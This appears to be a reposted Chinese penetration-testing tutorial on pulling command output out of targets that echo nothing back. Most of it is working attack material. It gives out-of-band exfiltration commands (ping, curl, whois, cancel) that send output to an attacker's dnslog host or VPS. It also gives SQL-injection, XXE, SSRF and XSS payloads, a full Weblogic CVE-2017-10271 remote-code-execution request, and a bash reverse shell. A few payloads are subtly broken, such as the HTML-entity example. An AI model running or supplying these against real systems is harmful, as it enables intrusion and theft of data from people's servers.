干货|如何在无回显时渗透
前言
在滲透測試的很多時候,我們可能都得不到數據的回顯。由于得不到數據的回顯,我們就無法進一步判斷我們滲透測試的結果。所以本文告訴大家,在沒有回顯的時候,我們又該如何測試。
1.利用ping
ping `命令`.dnslog
有很多免費的dnslog使用,例如BurpSuite自帶的模塊——Burp Collaborator client,當然社區版沒有這個功能,專業版的BurpSuite才具有。
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? Burp Collaborator client
還有免費的ceye.io、吐司等,這里不做過多的介紹,以Burp Collaborator client為例。
假如我們需要執行一個uname,我們先點擊Copy to clipboard,接著組裝我們的語句即可,最后執行它
Copy to clipboard
待它執行幾秒鐘,我們的Burp Collaborator client就會有回應
ping執行
回應
我們直接在本機執行uname驗證一下
uname
2.利用curl
Win10和WinServer2016(或更高版本)均已默認自帶curl
curl dnslog/`命令|base64|tr '\n' '-'`
curl dnslog/`命令|tr '\n' '-'`
?
執行
你會得到一個http的請求,在請求中就是命令執行的結果
curl結果
在某些極端情況下,你可能需要使用base64編碼一下,因為可能某些命令返回的結果為中文
base64結果
去掉/、-以后,對結果進行還原就為命令執行以后的結果
原始結果
前面說的這些都是基于能解析host的時候執行的,然而在很多實際情況中,被滲透的機器根本不會配置dns。在不配置dns的情況下,dnslog就會失效,命令將返回uknown host,由于無法解析host,找不到dnslog的ip,我們也無法從dnslog平臺獲得命令執行的結果。請接著看下文。
3.利用whois
談到whois,很多人的第一反應應該是查域名從屬吧。其實不然,whois還可以用來回顯命令執行的結果。
whois -h vps‘ip -p port `命令`
whois -h vps‘ip -p port `命令 |base64`
這里我們需要自行準備一臺vps,其實就是有公網ip的機器,在機器上監聽一個端口。例如我在我的vps上監聽6666,且在目標機器執行一個uname
nc -l -p 6666 -vvv
監聽6666
那么我們就在目標機器上執行如下命令(myip為我的vpsip)
whois -h myip -p 6666 `uname`
whois -h myip -p 6666 `uname |base64`
?
目標機
vps
如圖就返回了我們的命令執行結果
4.利用cancel
其實除了whois以外,還有cancel可以利用
cancel -u "$(命令)" -h vps'ip:port
我們同樣需要一臺vps,在上面監聽任意端口
目標機
攻擊機
去除方框中的"my-jobs",即為命令回顯結果
后記
那么這些東西可以配合哪些場景使用了?
1.SQL注入
當我們的SQL注入為盲注時,它可是不會返回結果的。
select load_file(concat('\\\\\\\\',(SQL語句),'.dnslog\\隨便輸入字母'))
眾所周知,mysql中load_file是可以執行dns請求的,注意dnslog前面有個".",千萬不要忘記了。
2.XXE
我們只需要把dtd文件換成下面的內容即可
#payload1 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://dnslog/隨便輸入字母"> %remote;]> <root/> #payload2 <!ENTITY % all "<!ENTITY % send SYSTEM 'http://dnslog/%file;'>" > %all;3.RCE
前面的部分基本上都在展示執行命令,這里我們結合一下Weblogic XML Decoder反序列化(CVE-2017-10271)
POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host:x.x.x.x:x Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.119 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Length: 640<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.4.0" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>命令</string> </void> </array> <void method="start"/></void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>我們只需要替換一下上文中命令的部分為如下的任意一種(請注意html實體編碼,payload默認為Linux,win需要修改/bin/bash為cmd或者cmd.exe,-c為/c)
html實體編碼
ping `命令`.dnslog curl dnslog/`命令|base64|tr '\n' '-'` curl dnslog/`命令|tr '\n' '-'` whois -h vps'ip -p port `命令` whois -h vps'ip -p port `命令 |base64` cancel -u "$(命令)" -h vps'ip:port#直接反彈shell
bash -i >& /dev/tcp/127.0.0.1/8080 0>&1
所有的命令都需要注意轉換html實體編碼
例如原本的反彈命令為
bash -i >& /dev/tcp/127.0.0.1/8080 0>&1
轉換后為
bash -i >& /dev/tcp/127.0.0.1/8080 0>&1
可以去這里轉換:https://www.qqxiuzi.cn/bianma/zifushiti.php
4.SSRF
我們可以在需要的參數后面直接修改為vps'ip或者dnslog地址
如果你使用vps,那么你依然需要在vps上先執行監聽端口
如果你使用dnslog,那么直接修改為dnslog地址
例如某參數為video_url,修改為如下
video_url=http://vps'ip:port
video_url=dnslog
?
5.XSS
使用如下Payload
<IMG SRC=# onerror=http://dnslog/隨便輸入字母>總結
以上是生活随笔為你收集整理的干货|如何在无回显时渗透的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 记一次从代码审计到拿下内网edr的过程
- 下一篇: XSS:RPO(Relative Pat